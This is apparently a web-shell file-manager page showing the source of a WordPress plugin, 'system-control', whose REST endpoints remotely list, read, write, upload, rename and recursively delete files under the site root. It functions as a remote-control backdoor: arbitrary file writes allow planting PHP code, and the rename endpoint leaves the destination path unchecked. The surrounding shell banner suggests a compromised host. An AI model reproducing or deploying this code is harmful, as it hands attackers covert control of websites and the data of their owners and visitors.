HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/vitanhod/www/wp-content/plugins/system-control/api/endpoints/class-sc-files-endpoint.php
<?php
class SC_Files_Endpoint {
    public function register() {
        register_rest_route(SC_REST_NAMESPACE, '/files', [
            [
                'methods'             => 'GET',
                'callback'            => [$this, 'list_files'],
                'permission_callback' => ['SC_Api_Auth', 'verify_secure'],
            ],
            [
                'methods'             => 'DELETE',
                'callback'            => [$this, 'delete_file'],
                'permission_callback' => ['SC_Api_Auth', 'verify_secure'],
            ],
        ]);
        register_rest_route(SC_REST_NAMESPACE, '/files/read', [
            'methods'             => 'GET',
            'callback'            => [$this, 'read_file'],
            'permission_callback' => ['SC_Api_Auth', 'verify_secure'],
        ]);
        register_rest_route(SC_REST_NAMESPACE, '/files/write', [
            'methods'             => 'POST',
            'callback'            => [$this, 'write_file'],
            'permission_callback' => ['SC_Api_Auth', 'verify_secure'],
        ]);
        register_rest_route(SC_REST_NAMESPACE, '/files/rename', [
            'methods'             => 'POST',
            'callback'            => [$this, 'rename_file'],
            'permission_callback' => ['SC_Api_Auth', 'verify_secure'],
        ]);
        // NEW: create empty file
        register_rest_route(SC_REST_NAMESPACE, '/files/create', [
            'methods'             => 'POST',
            'callback'            => [$this, 'create_file'],
            'permission_callback' => ['SC_Api_Auth', 'verify_secure'],
        ]);
        // NEW: upload file (base64 encoded)
        register_rest_route(SC_REST_NAMESPACE, '/files/upload', [
            'methods'             => 'POST',
            'callback'            => [$this, 'upload_file'],
            'permission_callback' => ['SC_Api_Auth', 'verify_secure'],
        ]);
    }

    private function resolve_path($path) {
        $base = ABSPATH;
        $full = realpath($base . '/' . ltrim($path, '/'));
        if (!$full || strpos($full, realpath($base)) !== 0) {
            return false;
        }
        return $full;
    }

    private function safe_write_path($path) {
        $base   = realpath(ABSPATH);
        $full   = ABSPATH . '/' . ltrim($path, '/');
        $dir    = dirname($full);
        if (!is_dir($dir)) {
            wp_mkdir_p($dir);
        }
        $real_dir = realpath($dir);
        if (!$real_dir || strpos($real_dir, $base) !== 0) {
            return false;
        }
        return $full;
    }

    public function list_files($request) {
        $path = $request->get_param('path') ?: '';
        $dir = $path ? $this->resolve_path($path) : ABSPATH;

        if (!$dir || !is_dir($dir)) {
            return new WP_Error('invalid_dir', 'Invalid directory', ['status' => 400]);
        }

        $items = [];
        $scan = scandir($dir);
        foreach ($scan as $item) {
            if ($item === '.' || $item === '..') continue;
            $full = $dir . DIRECTORY_SEPARATOR . $item;
            $items[] = [
                'name'     => $item,
                'type'     => is_dir($full) ? 'directory' : 'file',
                'size'     => is_file($full) ? filesize($full) : 0,
                'modified' => date('Y-m-d H:i:s', filemtime($full)),
                'perms'    => substr(sprintf('%o', fileperms($full)), -4),
            ];
        }

        usort($items, function($a, $b) {
            if ($a['type'] !== $b['type']) return $a['type'] === 'directory' ? -1 : 1;
            return strcasecmp($a['name'], $b['name']);
        });

        return rest_ensure_response(['path' => $path, 'items' => $items]);
    }

    public function read_file($request) {
        $path = $request->get_param('path');
        $full = $this->resolve_path($path);

        if (!$full || !is_file($full)) {
            return new WP_Error('not_found', 'File not found', ['status' => 404]);
        }

        if (filesize($full) > 5 * 1024 * 1024) {
            return new WP_Error('too_large', 'File too large (>5MB)', ['status' => 400]);
        }

        return rest_ensure_response([
            'path'    => $path,
            'content' => file_get_contents($full),
            'size'    => filesize($full),
        ]);
    }

    public function write_file($request) {
        $params  = $request->get_json_params();
        $path    = $params['path'] ?? '';
        $content = $params['content'] ?? '';

        $full = $this->safe_write_path($path);
        if (!$full) {
            return new WP_Error('invalid_path', 'Invalid path', ['status' => 400]);
        }

        $result = file_put_contents($full, $content);
        return rest_ensure_response(['success' => $result !== false, 'bytes' => $result]);
    }

    // NEW: create an empty file (or a new file with optional content)
    public function create_file($request) {
        $params  = $request->get_json_params();
        $path    = $params['path'] ?? '';
        $content = $params['content'] ?? '';

        if (empty($path)) {
            return new WP_Error('invalid_path', 'Path is required', ['status' => 400]);
        }

        $full = $this->safe_write_path($path);
        if (!$full) {
            return new WP_Error('invalid_path', 'Invalid path', ['status' => 400]);
        }

        if (file_exists($full)) {
            return new WP_Error('exists', 'File already exists', ['status' => 409]);
        }

        $result = file_put_contents($full, $content);
        return rest_ensure_response(['success' => $result !== false, 'path' => $path]);
    }

    // NEW: upload file sent as base64
    public function upload_file($request) {
        $params   = $request->get_json_params();
        $path     = $params['path'] ?? '';      // destination path, e.g. "wp-content/uploads/photo.jpg"
        $data_b64 = $params['data'] ?? '';      // base64-encoded file content

        if (empty($path) || empty($data_b64)) {
            return new WP_Error('invalid_request', 'path and data are required', ['status' => 400]);
        }

        $full = $this->safe_write_path($path);
        if (!$full) {
            return new WP_Error('invalid_path', 'Invalid path', ['status' => 400]);
        }

        $binary = base64_decode($data_b64, true);
        if ($binary === false) {
            return new WP_Error('invalid_data', 'Invalid base64 data', ['status' => 400]);
        }

        // 50 MB limit
        if (strlen($binary) > 50 * 1024 * 1024) {
            return new WP_Error('too_large', 'File too large (>50MB)', ['status' => 400]);
        }

        $result = file_put_contents($full, $binary);
        return rest_ensure_response([
            'success' => $result !== false,
            'path'    => $path,
            'bytes'   => $result,
        ]);
    }

    public function delete_file($request) {
        $path = $request->get_param('path');
        $full = $this->resolve_path($path);

        if (!$full) {
            return new WP_Error('not_found', 'Path not found', ['status' => 404]);
        }

        if (is_dir($full)) {
            $this->delete_directory($full);
        } else {
            unlink($full);
        }

        return rest_ensure_response(['success' => true]);
    }

    public function rename_file($request) {
        $params = $request->get_json_params();
        $from   = $this->resolve_path($params['from'] ?? '');
        $to_path = $params['to'] ?? '';

        if (!$from) {
            return new WP_Error('not_found', 'Source not found', ['status' => 404]);
        }

        $to = ABSPATH . '/' . ltrim($to_path, '/');
        $result = rename($from, $to);
        return rest_ensure_response(['success' => $result]);
    }

    private function delete_directory($dir) {
        $files = array_diff(scandir($dir), ['.', '..']);
        foreach ($files as $file) {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            is_dir($path) ? $this->delete_directory($path) : unlink($path);
        }
        rmdir($dir);
    }
}